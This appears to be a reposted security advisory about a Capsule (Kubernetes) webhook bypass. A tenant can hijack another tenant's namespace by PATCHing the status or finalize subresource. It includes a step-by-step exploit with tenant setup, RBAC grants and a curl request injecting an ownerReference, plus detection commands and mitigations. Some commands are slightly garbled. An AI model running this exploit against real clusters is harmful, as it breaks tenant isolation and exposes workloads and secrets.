Listen to this Post
To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources. However, in Kubernetes, the `namespace/finalize` and `namespace/status` subresource APIs can also modify various fields of a namespace, including the `metadata` field. The Capsule webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify `namespace/status` or namespace/finalize, they can successfully perform namespace hijacking by sending a crafted PATCH request that injects an `ownerReference` pointing to their own Tenant, thereby taking ownership of a namespace belonging to another tenant. The webhook simply does not see the request because its configuration only targets the core `namespaces` resource and ignores subresources.
DailyCVE Form:
Platform: Kubernetes Version: <0.13.0 Vulnerability: Subresource bypass Severity: Medium date: 2026-05-28 Prediction: 2026-06-11
Analytics: What Undercode Say
Check Capsule version
kubectl get deployment -n capsule-system capsule-controller-manager -o jsonpath='{.spec.template.spec.containers[bash].image}'
Verify webhook configuration (shows missing subresources)
kubectl get validatingwebhookconfiguration capsule-validating-webhook -o yaml | grep -A5 "resources:"
Detect clusterroles with subresource permissions
kubectl get clusterrole --all-namespaces -o json | jq '.items[] | select(.rules[].resources[] | contains("namespaces/status") or contains("namespaces/finalize")) | .metadata.name'
Monitor admission webhook bypass attempts
kubectl logs -n capsule-system deployment/capsule-controller-manager | grep -i "admission"
Exploit
1. Create two tenants (victim 'oil', attacker 'attacker')
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: oil
spec:
owners:
- name: alice
kind: User
EOF
./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production alice creates namespace
kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
name: attacker
spec:
owners:
- name: attacker
kind: User
EOF
./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig
2. Grant attacker permissions to patch namespace/status
kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker
3. Attacker sends PATCH request to namespace/status subresource
curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key \
--request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
{
"op": "replace",
"path": "/metadata/ownerReferences",
"value": [
{
"apiVersion": "capsule.clastix.io/v1beta2",
"kind": "Tenant",
"name": "attacker",
"uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
}
]
}
]'
Protection
- Update Capsule to `v0.13.0` or later (the fixed release).
- If immediate upgrade is not possible, manually patch the ValidatingWebhookConfiguration:
resources:</li> <li>namespaces</li> <li>namespaces/status</li> <li>namespaces/finalize
- Audit RBAC to ensure no tenant user has `patch` on `namespaces/status` or
namespaces/finalize. - Enable Kubernetes audit logs and monitor for PATCH requests targeting these subresources.
Impact
An authenticated tenant user with permission to modify `namespace/status` or `namespace/finalize` can take full ownership of any namespace that does not already have an ownerReference (or whose existing ownerReference can be overwritten). Once hijacked, the namespace becomes part of the attacker’s tenant, potentially allowing them to deploy workloads, read secrets, and bypass Capsule’s multi‑tenant isolation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
